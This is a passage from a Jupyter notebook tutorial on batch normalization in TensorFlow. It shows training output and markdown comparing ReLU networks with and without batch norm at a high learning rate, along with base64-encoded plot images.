gwfSKb76NbEYxHpggsat3Ze\n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\nXzYcX3TRRdx0U+MAwjvuuIMHH3yQzZs3c+WVVwJQUVHBjBmNgxDvuusuHnjggXaR5/HHH2fLli3N\n5t14440MGjSIUaNGccopp3D33XcnVd/mzZtbLXPLLbe0WldZWRmlpY0j7OfPn58SM6/NKBgpi3kK\nHc+5557LnDlzAIjFYuzcuZMlS5Y05M+ZM4exY8fSt29fnn32WeBQo9CeHM4oANx///1UVFRQUVHB\nE088wdq1a1utrzWjcCRs376dl19udkm3VolvIdzRZMzoIyP9CAYzM9CcyN0vLmHp5n0Nx9FolGDw\n6LpIh/Yt4kefHtZs3tixY/nWt74FwJIlSxg+fDhbtmzho48+Ii8vj2XLljF69GjWrVvHJZdcwnvv\nvcedd95JdXU1s2fP5vvf/z4AS5cupaysjPXr13P77bdz2223AfDggw/y6KOPAnDTTTdx++23N9S1\nePFiAB544AEqKysZPnw48+fP56abbiI/P5+5c+eSm5vbrNzxwGt+fj4AP/7xj3nxxReprq5m7Nix\n/Pa3v+W5555j/vz5fP7znyc3N5e5c+eyePFivvnNb1JVVUV2djavvfYaAJs3b2bChAmsXr2ayy+/\nnJ/97GfNXve73/0uP/nJT5g4ceIh8nzta19j/vz5hEIhHnzwQcaPH8/jjz/O888/T2VlJdFolLvv\nvpsf/ehHdOnShUWLFnHVVVcxYsQIHnroIaqqqpg+fTqDBw9O7h+bJOYpGCmLTV7rePr27UsoFGL9\n+vXMmTOHc845h7POOou5c+cyf/58RowYQVZW46oBWVlZ/PjHP+bqq6+moqKCq6++GoDly5czc+ZM\n3nnnHe6++27q6+t59913eeyxx3j77bd56623+L//+z/ef//9FmW58sorKS0t5Xe/+x0VFRXNGoTv\nfve7jBo1iv79+3PNNdfQq5ebvHrLLbcwb948Fi9eTHV1NS+99FJDfdOmTaOiooJgMMjVV1/NQw89\nxIIFC3j11VcbrlFRUcEzzzzDokWLeOaZZ9iwYcMh1wY455xzyMrKYtasWQelP/LII4gIixYt4k9/\n+hM33HBDg+F67733ePbZZ/nXv/4FwIIFC5gyZQrLli3jqaeeYuXKlbzzzjtcf/31PPzww8n+65LG\nPAUjZQkGJONjCk3f6DtizP7YsWOZM2cOc+bM4dvf/jabNm1izpw5FBcXc+655yZVx6c+9Smys7PJ\nzs6mV69ebNu2jdmzZ3P55Zc3vM1fccUVvPnmm3zmM59ps6z3338/V155JZWVlVxwwQUN3VuzZs3i\nZz/7GQcOHGD37t0MGzaMT3/60wedu2LFCvr06cOZZ54JQFFRUUPeBRdcQHFxMQBDhw7lww8/ZMCA\nATTHD3/4Q+655x7uu+++hrTZs2dz6623AnDKKadw/PHHs3KlW/7twgsvpFu3bg1lzzzzTPr06QPA\n4MGD+eQnPwnAsGHDmDt3bpvvTUuYp2CkLBZT6BzicYVFixYxfPhwzj77bObOndvQ4CZDdnZ2w/dg\nMHjY/vNQKEQsoZuwLWPwCwoKKCsrY/bs2dTU1PD1r3+dZ599lkWLFvGVr3zliOs8EvnPP/98qqur\neeutt5KqO24Um7tWIBBoOA4EAr7EHcwoGCmLbcfZOYwdO5aXXnqJbt26EQwG6datG3v27GHu3LnN\nGoXCwkL279/far3jxo3jr3/9KwcOHKCqqooXXniBcePGUVJSwvbt29m1axe1tbW89NJLB9VdWVnZ\nat2RSIS3336bwYMHNxiAHj16UFlZ2RAQbyrrySefzJYtW5g3bx7gvLC2NsI//OEPD4o7jBs3jmnT\npgGwcuVK1q9fz8knn9ymutsbMwpGymLbcXYOI0aMYOfOnZx99tkHpRUXF9Ojx6Fri40fP56lS5cy\natQonnnmmRbrHT16NDfeeCNjxozhrLPO4qabbuL0008nHA5z5513MmbMGC688EJOOeWUhnNuvPFG\nbr/9dkaNGkV1dfUhdcZjCiNHjmTEiBFcccUVdOnSha985SsMHz6ciy66qKF7KF7fzTffzKhRo4hG\nozzzzDPceuutnHbaaVx44YVtnil88cUX07Nnz4bjr3/968RiMUaMGMHVV1/N448/fpBH0Kmoqm8f\nYAKwAlgFTG4m/xRgLlALfCeZOs844wxtK7NmzWrzualMuup91/TFOvxH/2g2L111VlVdunRpi3n7\n9u3rQEmODTJRZ9XD693cMwLM1yTaWN8CzSISBB4BLsTtzzxPRKar6tKEYruB24DL/JLDSF8spmAY\n7Y+f3UdjgFWqukZV64CngUsTC6jqdlWdB9T7KIeRptiMZsNof/wcktoPSBy8uxE4qy0VicgkYBJA\nSUkJ5eXlbRKosrKyzeemMumq96YNddRFY5z/P4fOGI3FogTmtm0m6bHOneNLCGzZ20KuQmVLeelK\n5uhcEBaKst2Cd9FotMUAfk1NTZt/8ykxT0FVpwJTAUpLS7Wt64eUl5enxNoj7U266l18wkdUvvYB\nzTkLu3fvPmisdzoRDAbICjf/041EIoRCKfGzbjcySefc3DCF+W5y4OHmpOTk5HD66ae36Rp+3slN\nQOJsjv5emmG0C6cf15XHvjim2TxnCJvPS3WWLVvGoB75zea5hqL5vHQlE3X2Ez9jCvOAISIySESy\ngGuA6T5ezzAMwzhKfDMKqhoBbgFmAsuAP6vqEhG5WURuBhCR3iKyEfg28EMR2SgiRS3XahhGZ9KR\nS2cPHDiQESNGMGrUKEaMGMHf/va3Vs/56U9/2mqZG2+88aAJay0hItxxxx0Nxw888AB33XVXq+el\nOr5OXlPVGap6kqoOVtWfeGlTVHWK932rqvZX1SJV7eJ933f4Wg3D6Cw6eunsWbNmUVFRwbPPPtuw\nkurhSMYoJEt2djbPP/88O3fubNP5nbX09dGSGdEZw0hXXp4MWxc1HOZGIxA8yp917xEw8d5ms/xe\nOrsl9u3bR9euXRuOL7vsMjZs2EBNTQ1f/epXue2225g8eTLV1dWMGjWKYcOGMW3aNJ588kkeeOAB\nRISRI0fy1FNPAfDGG2/w4IMPsnXrVn72s581eDWJhEIhJk2axC9+8Qt+8pOfHJS3bt06vvSlL7Fz\n50569uzJY489xnHHHceNN95ITk4O77//Pueeey5FRUWsXbuWNWvWsH79en7xi1/w1ltv8fLLL9Ov\nXz9efPFFwuFw8v+bDsCWuTAMI2n8XDq7OcaPH8/w4cM577zzuOeeexrSH330Ud59913mz5/PlClT\n2LVrF/feey+5ublUVFQwbdo0lixZwj333MPrr7/OggULeOihhxrO37JlC7Nnz+all15i8uTJLer7\njW98g2nTprF378FDXm+99VZuuOEGFi5cyOc///mDjNrGjRuZM2cODz74IACrV6/m9ddfZ/r06Xzh\nC19g/PjxLFq0iNzcXP7+978fwd3vGMxTMIxUpskbfXUKL53dv3//Q8rNmjWLHj16sHr1ai644ALK\nysooKCjgV7/6FS+88AIAmzZt4oMPPqB79+4Hnfv666/z2c9+tmE9psQhypdddhmBQIChQ4eybdu2\nFuUsKiri+uuv51e/+tVB+zXMnTuX559/HoDrrruO733vew15n/3sZw/a6GjixImEw2FGjBhBNBpl\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b549e80>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we're using ReLUs again, but with a larger learning rate. The plot shows how training started out pretty normally, with the network with batch normalization starting out faster than the other. But the higher learning rate bounces the accuracy around a bit more, and at some point the accuracy in the network without batch normalization just completely crashes. It's likely that too many ReLUs died off at this point because of the high learning rate.\n", "\n", "The next cell shows the same test again. The network with batch normalization performs the same way, and the other suffers from the same problem again, but it manages to train longer before it happens." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:36<00:00, 1379.92it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.09859999269247055\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:42<00:00, 488.08it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9839996695518494\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.10099999606609344\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9822001457214355\n" ] }, { "data": { "image/png": "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\